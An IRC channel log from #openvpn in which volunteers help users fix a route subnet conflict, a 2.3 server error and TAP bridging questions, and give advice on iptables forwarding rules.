09:49 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
09:49 < |Mike|> !logs
09:49 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
09:50 < jgspratt> server: http://hastebin.com/yexerafipa.hs ; current ccd: http://hastebin.com/webisidano.hs ; server log: http://hastebin.com/qixihofogu.vbs ; client log: http://hastebin.com/juyifanobi.md
09:50 <@vpnHelper> Title: hastebin (at hastebin.com)
09:50 < jgspratt> I've also tried the ccd as just "iroute 10.0.0.0 255.255.255.0"
09:52 < jgspratt> Is what I'm trying to do possible with OpenVPN or do I need something commercial?
09:52 < jgspratt> I see the warning "WARNING: potential route subnet conflict between local LAN [10.25.1.0/255.255.255.0] and remote VPN [10.24.0.0/255.248.0.0]"
09:52 < jgspratt> That must come from push "route 10.24.0.0 255.248.0.0" ; route 10.24.0.0 255.248.0.0
09:53 < jgspratt> However, those /are/ the LAN IP ranges on my server-side that I want my clients to be able to get to.
09:58 < jgspratt> |Mike|: here is an updated server log from a restart with the simple CCD: http://hastebin.com/jocavaraba.vbs
09:58 <@vpnHelper> Title: hastebin (at hastebin.com)
10:06 < jgspratt> How do I correctly specify the openvpn settings for my network topology?
10:06 < |Mike|> !topology
10:07 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
10:07 < |Mike|> sorry, i'm a bit in a hurry here
10:07 < jgspratt> How can I avoid this network overlap problem but still be able to use openvpn to do something useful
10:08 < jgspratt> Is the server conf line `push "route 10.24.0.0 255.248.0.0"` correct or not?
10:09 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
10:09 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 260 seconds]
10:10 -!- Azrael808 [~peter@212.161.9.162] has quit [Client Quit]
10:11 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
10:13 -!- gladiatr [~sdspence@24.124.15.166] has joined #openvpn
10:13 -!- gladiatr [~sdspence@24.124.15.166] has quit [Changing host]
10:13 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
10:13 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
10:19 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 240 seconds]
10:21 -!- master_of_master [~master_of@p57B53BBC.dip.t-dialin.net] has quit [Ping timeout: 260 seconds]
10:23 -!- master_of_master [~master_of@p57B54741.dip.t-dialin.net] has joined #openvpn
10:31 < jgspratt> Is there a way to fix thisa?
10:37 < jgspratt> Can you use OpenVPN to make a "site-to-site" thingie?
10:47 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
10:47 -!- mode/#openvpn [+v s7r] by ChanServ
10:55 < jgspratt> anyone?
10:58 < chrisb> i use openvpn between a local host and a remote server
10:58 < jgspratt> chrisb: do you know what I'm doing wrong routing-wise?
10:58 -!- Halagan [~Miranda@a4.evona.ba.cust.gts.sk] has quit [Read error: Connection reset by peer]
10:58 <@ecrist> jgspratt: if you read the !routing page throughouly, it should resolve your issues
10:59 <@ecrist> otherwise, I may be able to help again later today
10:59 < jgspratt> ecrist: yep, I read all of that
11:00 < jgspratt> can you explain why I'm getting the routing conflict?
11:00 < chrisb> jgspratt: i only route from a single local private net 192.168.x.x to the remote
11:00 < jgspratt> what should my server.conf say?
11:01 < jgspratt> with http://hastebin.com/mubijulata.1c should 10.0.0.10 be able to get to 10.25.1.102?
11:01 <@vpnHelper> Title: hastebin (at hastebin.com)
11:01 < jgspratt> chrisb: I'm trying to make that one client work for now.
11:02 < chrisb> oh, i see, it looks like addresses overlap...fix that conflict or NAT somehow
11:03 < jgspratt> "fix it"--can you offer any suggestions on a valid config?
11:03 < jgspratt> I realize and accept that my config is wrong.  Granted.  How do I make it correct based on my topology?
11:04 < jgspratt> What I'm trying to tell the client is "10.24/13 is on the server's network, go through the VPN tunnel"
11:05 < jgspratt> What the error says to me is "Your VPN server is on your destination network: it is 10.25.1.101 and your network is 10.24/13, so, error, error, that's an overlap."
11:06 -!- gojafe [~rasengan@eyearesee.com] has joined #openvpn
11:07 < chrisb> right, overlap,
11:08 < jgspratt> But that's actually the point.  I am bridging the LANs.
11:08 < jgspratt> I want the server to be on the destination network.
11:08 -!- raidz_away is now known as raidz
11:08 < chrisb> they are subnets, as you have defined them
11:09 < jgspratt> Can you offer a valid config?
11:10 < chrisb> i can tell you are in a hurry, so I won't slow you down
11:10 < jgspratt> No, I've been doing this for a day
11:11 < jgspratt> No rush.  Just looking for someone with more info than "your server is on the network you're trying to get to."
11:12 < jgspratt> To me, it looks like http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing is telling me to do what I'm doing.
11:12 <@vpnHelper> Title: OpenVPN/Routing - Secure Computing Wiki (at www.secure-computing.net)
11:12 < chrisb> i have only used openvpn in one configuration local private network to remote vps, the bridge network, point-to-point is 10.x.x.x and then the vps routes to the public internet
11:12 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
11:14 < jgspratt> let's assume I'm trying to do that.  how can I make it so my client can talk to my server network?
11:15 < jgspratt> Specifically, what should my server settings be so that I don't get an overlap problem, but so that openvpn does something useful?
11:16 <@EugeneKay> Move your client off the destination network.
11:16 <@EugeneKay> It's a circular route problem
11:17 <@EugeneKay> If they're not the same LAN then they shouldn't have the same subnet. Using a bridge is the wrong solution here. Change one of the subnets and set up routing between the two LANs, via the openvpn server/client
11:17 <@EugeneKay> !route
11:17 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
11:19 < chrisb> https://en.wikipedia.org/wiki/Private_network#Merging_private_networks
11:19 <@vpnHelper> Title: Private network - Wikipedia, the free encyclopedia (at en.wikipedia.org)
11:20 < jgspratt> EugeneKay: Move my client?  It is on 10.0.0.0/24 for eth0 and 172.16.0.0/24 for tun0
11:20 < jgspratt> Neither of those ranges are on the server's LAN
11:21 <@EugeneKay> The client thinks there's an overlap
11:21 < jgspratt> 10.24.0.0/13 is not on 10.0.0.0/24
11:21 <@EugeneKay> Are you sure it's actually /24? ;-)
11:22 < chrisb> jgspratt: check the bits
11:22 < jgspratt> Yeah.
11:22 < jgspratt> Ok, on what?
11:22 < jgspratt> iroute 10.0.0.0 255.255.255.0
11:22 < jgspratt> push "route 10.0.0.0 255.255.255.0"
11:22 < jgspratt> route 10.0.0.0 255.255.255.0
11:22 < jgspratt> That's /24
11:23 <@EugeneKay> Your error message says otherwise
11:23 <@EugeneKay> <jgspratt> I see the warning "WARNING: potential route subnet conflict between local LAN [10.25.1.0/255.255.255.0] and remote VPN [10.24.0.0/255.248.0.0]"
11:23 < chrisb> jgspratt: you are the one with the routing problem
11:23 <@EugeneKay> Something isn't right there. Go fix it.
11:23 < chrisb> jgspratt: you couldn't route these with a regular router!
11:23 < jgspratt> The server can't be on the server's lan?
11:24 <@EugeneKay> Your VPN subnet should not be within any LAN subnet....
11:24 <@EugeneKay> It should be a whole different block
11:24 < jgspratt> It's not.  The tun interfaces are on 172.16.0.0/24
11:24 <@EugeneKay> Then what is 10.25.1.0/24?
11:25 < jgspratt> Part of 10.24.0.0/13, the server's LAN
11:25 < chrisb> oh mygod
11:25 <@EugeneKay> Is that error message from the server or the client? I'm confused
11:25 -!- chrisb [~chrisb@li482-205.members.linode.com] has left #openvpn ["rcirc on GNU Emacs 23.4.1"]
11:25 <@EugeneKay> And you can't have a /24 that's "part of" a /13. This is not how CIDR works.
11:26 <@EugeneKay> It's either a conflict or it's a different block
11:26 <@EugeneKay> Fix it.
11:26 < jgspratt> No, that's on the server's log
11:27 <@EugeneKay> So, why does the server think that 10.24.0.0/13 is a block that openvpn should be handling? ;-)
11:27 -!- arekm [~arekm@pld-linux/arekm] has joined #openvpn
11:27 < jgspratt> Well, I'll simplify it to only be 10.25.0.0/24 on the east coast for now then.
11:27 < jgspratt> The server can get to all of 10.24/13
11:28 <@EugeneKay> So you have the server push that route to clients. The server itself shouldn't be gtting that route via openvpn, because that's wrong
11:28 < arekm> hi. I wonder what could change between 2.2.2 and 2.3.0 that causes "write UDPv4: Invalid argument (code=22)" with exactly the same config
11:29 <@EugeneKay> If openvpn isn't going to be handling a block, don't tell it about it.
11:30 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 264 seconds]
11:30 < jgspratt> here, I simplified it: http://hastebin.com/damayulotu.vbs
11:30 <@vpnHelper> Title: hastebin (at hastebin.com)
11:31 < jgspratt> That's the server log now, with only 10.25/24 on the server
11:31 < jgspratt> "potential route subnet conflict between local LAN [10.25.1.0/255.255.255.0] and remote VPN [10.25.0.0/255.255.0.0]"
11:31 <@EugeneKay> !configs
11:31 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
11:32 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Quit: Leaving.]
11:32 < jgspratt> http://hastebin.com/kavurivaca.hs
11:32 <@vpnHelper> Title: hastebin (at hastebin.com)
11:32 <@EugeneKay> Line 13 is wrong
11:32 <@EugeneKay> That should not exist
11:32 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
11:32 <@EugeneKay> <EugeneKay> So you have the server push that route to clients. The server itself shouldn't be gtting that route via openvpn, because that's wrong
11:32 < jgspratt> Sorry, I put that in per someone else's request from a while ago.
11:33 <@EugeneKay> If your server has the route via a LAN adapter openvpn will notice the conflict. Which it did.
11:33 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
11:33 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Client Quit]
11:34 -!- Konigsberg [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Quit: 123asdf]
11:34 < jgspratt> Here is with that line removed: http://hastebin.com/focetuhiku.vbs
11:34 <@vpnHelper> Title: hastebin (at hastebin.com)
11:35 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
11:35 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
11:35 < jgspratt> Same symptoms on client: http://hastebin.com/posuqiresa.hs
11:35 <@vpnHelper> Title: hastebin (at hastebin.com)
11:35 <@EugeneKay> See? No more conflict. Now you get to fix the next problem.
11:35 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
11:35 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
11:35 -!- _fang0654 [~fang0654@cpe-68-174-236-234.nyc.res.rr.com] has joined #openvpn
11:35 < jgspratt> I didn't have the conflict before I added that line, but they said it wouldn't work without it, so I should add it.
11:36 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
11:36 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
11:36 <@EugeneKay> Whoever said that was wrong
11:36 < jgspratt> But I'm glad we are making progress now! :)
11:36 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
11:36 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Remote host closed the connection]
11:36 <@EugeneKay> This looks like a routing problem now. I'm guessing 10.25.1.101 is the server's LAN address, and .102 is another box on that same LAN?
11:36 <@EugeneKay> And that your server is NOT the default gw for most boxes on that same LAN?
11:36 < arekm> for my problem with Invalid argument 22 here is config, data, logs: http://pastebin.com/qUMLUm9r
11:37 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
11:37 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
11:37 < jgspratt> Well, should I be able to go from .102 to 10.0.0.10 if it's as you suspect?
11:37 -!- Konigsberg7 [~mIRC@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
11:37 -!- Konigsberg7 [~mIRC@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
11:38 <@EugeneKay> Nope
11:38 -!- Konigsberg7 [~mIRC@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
11:38 -!- Konigsberg7 [~mIRC@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
11:38 < jgspratt> But I added a route: http://hastebin.com/lamoboweca.vhdl
11:38 <@vpnHelper> Title: hastebin (at hastebin.com)
11:38 <@EugeneKay> On your default GW? OK, so that's good.
11:39 < jgspratt> In my sonicwall: http://hastebin.com/hokocahine.1c
11:39 <@vpnHelper> Title: hastebin (at hastebin.com)
11:39 <@EugeneKay> If pings are working one direction but not the other then it's gonna be a firewall
11:39 < jgspratt> Yeah, which is the default GW
11:39 < _fang0654> Probably a stupid question, but does broadcast traffic get passed over a TAP vpn?
11:39 <@EugeneKay> And I charge $150/hour to debug those
11:40 <@EugeneKay> _fang0654 - Layer2 traffic is passed over TAP, yes. Are you talking about bridging tap0 to eth0? Don't do that.
11:40 -!- Konigsberg7 [mIRC@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
11:40 -!- Konigsberg7 [mIRC@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
11:41 < _fang0654> EugeneKay: Ok cool.  Just set up a bridge between two tomato routers to be on the same subnet, just wanted to make sure their poorly designed software would work
11:41 <@EugeneKay> Good luck. You'll need it. :-p
11:41 -!- staticsafe [~staticsaf@unaffiliated/staticsafe] has quit [Ping timeout: 255 seconds]
11:41 < _fang0654> Seems like it is working.  Pretty slow though.  Very poorly designed software :)
11:43 < arekm> any clues, things to check?
11:43 <@EugeneKay> arekm - not a clue.
11:44 < jgspratt> EugeneKay: I doubt it.  These machines were running this very vpn for over a year.
11:44 <@EugeneKay> But bravo for trying 2.3!
11:44 < arekm> heh, ok, so no point in trying to debug this, downgrading :)
11:45 <@EugeneKay> Plenty of point; it's probably something obvious
11:45 <@EugeneKay> But I have $DAYJOB too
11:45 < arekm> downgraded and works
11:45 <@EugeneKay> A valid solution too
11:46 -!- KaiForce [~chatzilla@adsl-70-228-65-227.dsl.akrnoh.ameritech.net] has joined #openvpn
11:46 < arekm> tried to see where "Invalid argument" is comming from via strace but likely it's not from any syscall
11:47 <@EugeneKay> Nah, it'll be an openvpn debug thing
11:47 <@EugeneKay> It's not one I've come across(or can remember) or I'd tell you what it means
11:47 <@EugeneKay> Googling probably isn't much help(I tried)
11:49 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
11:49 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
11:49 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
11:49 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
11:49 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
11:49 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
11:49 -!- Konigsberg [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
11:50 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
11:51 < arekm> UDPv4 write returned -1
11:51 < arekm> oh
11:51 -!- staticsafe [~staticsaf@unaffiliated/staticsafe] has joined #openvpn
11:55 < arekm> (2.3 client works fine btw, only server has problems)
11:56 -!- Konigsberg [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Quit: 123asdf]
11:59 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
11:59 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
12:03 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
12:03 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
12:03 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:07 -!- valparaiso_ [~valparais@ARennes-257-1-179-35.w2-13.abo.wanadoo.fr] has joined #openvpn
12:08 -!- valparaiso_ is now known as valparaiso
12:09 -!- Konigsberg [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
12:16 <@ecrist> what problem does server have?
12:16 -!- Konigsberg [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has left #openvpn []
12:17 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
12:17 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
12:21 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
12:26 -!- BtbN [~btbn@btbn.de] has quit [Quit: Bye]
12:27 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Quit: 123asdf]
12:27 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
12:27 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
12:29 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
12:29 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
12:29 -!- BtbN [~btbn@btbn.de] has joined #openvpn
12:30 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
12:30 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
12:36 < _fang0654> Any way of having a tap tunnel intercept DHCP and not pass the requests to the other side of the tunnel?
12:37 <@EugeneKay> Yeah, don't use bridging. :-p
12:37 <@EugeneKay> I think you can do that with ebtables/iptables
12:38 -!- MarKsaitis [~MarKsaiti@82-71-61-117.dsl.in-addr.zen.co.uk] has joined #openvpn
12:38 < _fang0654> I'd love to not use bridging, but software only works on same subnet
12:38 -!- ch1mk3y [ch1m@ns203993.ovh.net] has joined #openvpn
12:38 < _fang0654> ok.  I'll see if I can get more with my google fu.  Mainly just trying to have a different default gateway assigned
12:39 -!- CEnnis91|Cloud [uid3543@gateway/web/irccloud.com/x-pzipuahktqrozmve] has quit [Quit: Connection closed for inactivity]
12:39 < _fang0654> Although it is only a handful of machines.  I think I'll just set them up static and be done with it
12:40 < JackWinter> is there a more specific directive than client-client, to only allow select hosts to see each other?
12:40 < _fang0654> JackWinter: You have to do that through iptables on the server
12:41 -!- ch1mkey [ch1m@ns203993.ovh.net] has quit [Ping timeout: 276 seconds]
12:43 < JackWinter> _fang0654: was afraid of that.  does a forward rule cover traffic on the same interface or is it only for forwarding between different interfaces?
12:43 -!- ch1mkey [ch1m@ns203993.ovh.net] has joined #openvpn
12:44 -!- ch1mkey [ch1m@ns203993.ovh.net] has quit [Read error: Connection reset by peer]
12:44 -!- ch1mkey [ch1m@ns203993.ovh.net] has joined #openvpn
12:44 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 255 seconds]
12:45 <+pekster> JackWinter: Traffic can be forwarded even if it arrives and leaves via the same interface, yes
12:45 -!- ch1mk3y [ch1m@ns203993.ovh.net] has quit [Ping timeout: 248 seconds]
12:46 < _fang0654> JackWinter: Hold on one sec, let me look at how my rules are configured
12:46 -!- ch1mk3y [ch1m@ns203993.ovh.net] has joined #openvpn
12:48 -!- ch1mkey [ch1m@ns203993.ovh.net] has quit [Ping timeout: 248 seconds]
12:49 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:51 <+pekster> _fang0654: I assume you're already ruled out using a tun (Layer 3) VPN setup instead? You actually need subnet broadcast and/or Ethernet frame support across the tunnel?
12:52 < _fang0654> pekster: Yeah, on this one.  I seem to have it up and running fine, I'm just going to keep things simple and keep the workstations static
12:54 < _fang0654> JackWinter: Here is an example iptables setup I have for a specific client to only be able to access specific machines - http://pastebin.com/BxjGQFbn
12:58 -!- ch1mkey [ch1m@ns203993.ovh.net] has joined #openvpn
13:00 -!- ch1mk3y [ch1m@ns203993.ovh.net] has quit [Ping timeout: 255 seconds]
13:01 < JackWinter> _fang0654: thanks
13:02 <+pekster> I don't see the point of lines 8-9; you could just DROP the traffic there. Presumably early on in your FORWARD chain you're already accepting the established & related states, so there's no point to doing it there
13:03 -!- ch1mk3y [ch1m@ns203993.ovh.net] has joined #openvpn
13:05 -!- ch1mkey [ch1m@ns203993.ovh.net] has quit [Ping timeout: 252 seconds]
13:08 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
13:13 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 240 seconds]
13:14 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
13:18 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
13:22 < _fang0654> pekster: I had default set to drop.
13:24 -!- BtbN [~btbn@btbn.de] has quit [Read error: Connection reset by peer]
13:25 -!- ronsel [~ronsel@dslb-088-074-167-187.pools.arcor-ip.net] has quit [Quit: Dieser Computer ist eingeschlafen]
13:25 <+pekster> _fang0654: So? You should be accepting the established/related states early in forward, not for each source address you custom filter
13:25 -!- BtbN [~btbn@btbn.de] has joined #openvpn
13:25 <+pekster> Unless you have some special need, the first rule in any of the builtin chains should probably be -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
13:26 < _fang0654> pekster: Good point.  I built the setup years ago, and haven't really touched it since.  I think when I get some free time I'll update it
13:27 < _fang0654> pekster: Definitely makes more sense
13:28 <+pekster> It's just less CPU processing the kernel needs to do, becuase those rules are hit for every packet. I could also run around the block every glass of water I pour myself, but I don't ;)
13:29 < _fang0654> lol
13:29 < _fang0654> I'm actually kind of amazed at how well openvpn holds up running a lot of vpns
13:29 -!- jgspratt [~jgspratt@66.162.71.166] has left #openvpn ["PONG :hubbard.freenode.net"]
13:29 < _fang0654> I have a virtual machine running about 50 tunnels without breaking a sweat
13:29 <@dazo> _fang0654: you probably haven't tried a few hundred active tunnels ;-)
13:29 <+pekster> Concurrent processes, yes. It's not multi-threaded, so that surprisees some people with 16-virtual cores or something when they can't leverage them all on a single tunnel
13:29 <@dazo> but 50ish should be really fine
13:30 < _fang0654> dazo: I figure when I hit 64 I'll just set up a new instance
13:30 <+pekster> The solution there is to use multiple backend VPNs and tie them together with some load-balancing at the front; if you set something like that up right, it's mostly transparent to frontend users
13:30 < _fang0654> pekster: Makes sense.. especially since I only gave it a core :)
13:31 < _fang0654> pekster: It is mainly our clients, who for the most part aren't dealing with each other, so it doesn't matter if we split it up
13:31 <@dazo> _fang0654: you can easily run more openvpn servers on different ports on the same box ... and then pin them to different CPU cores ... but I would easily raise the bar to 100 simultaneous and active clients
13:32 < _fang0654> dazo: To be honest, I was a bit shortsighted when I first set it up.  I'm going to run out of IPs before then and have to set up another server anyways :)
13:32 <@dazo> nah ... just reconfigure the VPN subnet ... that should be enough, or not?
13:33 < _fang0654> I'd have to do it late at night, since I can't keep it down for very long
13:34 <@dazo> fair enough
13:34 < _fang0654> I tried it once, ran into a couple of snags, backed out and shelved it to be handled at some later point
13:35 < _fang0654> Well, now I have to call the cable company to up the upstream bandwidth at this office.  Apparently it's only 2Mbit up, which is killing their software
13:35 < _fang0654> thanks for the advice!
13:36 <@dazo> well, I'd set up a clone VM of my prod environment, rename it to 'testing' ... and do all the needed testing there ... and copy the config files
13:36 -!- _fang0654 [~fang0654@cpe-68-174-236-234.nyc.res.rr.com] has quit [Quit: Leaving]
13:38 -!- tyteen4a03 [~T4@n218250229105.netvigator.com] has quit [Quit: Leaving]
13:38 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
13:40 -!- tyteen4a03 [~T4@n218250229105.netvigator.com] has joined #openvpn
13:41 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
13:48 -!- b00b [~freenode@46.166.178.155] has quit [Quit: ZNC - http://znc.in]
13:52 -!- Typo1 [~raul@63-234-144-202.dia.static.qwest.net] has joined #openvpn
13:55 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
14:05 -!- dazo is now known as dazo_afk
14:09 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 265 seconds]
14:10 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
14:13 -!- MarKsaitis [~MarKsaiti@82-71-61-117.dsl.in-addr.zen.co.uk] has quit [Ping timeout: 276 seconds]
14:18 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
14:21 -!- Suterusu1 [~EyeR@178.63.199.61] has quit [Ping timeout: 260 seconds]
14:25 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
14:26 -!- Devastator [~devas@177.18.197.67] has joined #openvpn
14:26 -!- Devastator [~devas@177.18.197.67] has quit [Changing host]
14:26 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
14:31 -!- CEnnis91|Cloud [uid3543@gateway/web/irccloud.com/x-glexqzbkdqwtzqzv] has joined #openvpn
14:34 -!- CEnnis91|Cloud is now known as CEnnis91
14:34 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-glexqzbkdqwtzqzv] has quit [Changing host]
14:34 -!- CEnnis91 [uid3543@unaffiliated/cennis91] has joined #openvpn
14:34 -!- CEnnis91 [uid3543@unaffiliated/cennis91] has quit [Changing host]
14:34 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-glexqzbkdqwtzqzv] has joined #openvpn
14:37 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
14:49 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
14:58 -!- CrashTM [~CrashTM@cpe-98-144-34-109.wi.res.rr.com] has joined #openvpn
15:10 -!- brute11k [~brute11k@89.249.235.33] has quit [Quit: Leaving.]
15:15 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 248 seconds]
15:20 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Ping timeout: 260 seconds]
15:21 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
15:21 -!- valparaiso [~valparais@ARennes-257-1-179-35.w2-13.abo.wanadoo.fr] has quit [Quit: valparaiso]
15:28 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
15:45 < CrashTM> anyone home?
15:49 -!- pa [~pa@unaffiliated/pa] has quit [Quit: Sto andando via]
15:51 -!- Typo1 [~raul@63-234-144-202.dia.static.qwest.net] has quit [Quit: Leaving.]
15:53 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
16:01 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 276 seconds]
16:03 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has joined #openvpn
16:12 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has quit [Ping timeout: 246 seconds]
16:15 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:16 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.225.wb.wifirst.net] has joined #openvpn
16:17 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 276 seconds]
16:25 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
16:27 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
16:30 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
16:37 -!- KaiForce [~chatzilla@adsl-70-228-65-227.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.89 [Firefox 17.0.1/20121128204232]]
16:52 -!- Crosshair84 [~Crosshair@nat.crossfone.com.ar] has joined #openvpn
16:52 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 255 seconds]
16:52 -!- fu_fu is now known as desmo
16:52 < Crosshair84> hello I'm a new user and im looking for help
16:52 -!- bjh4_ [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
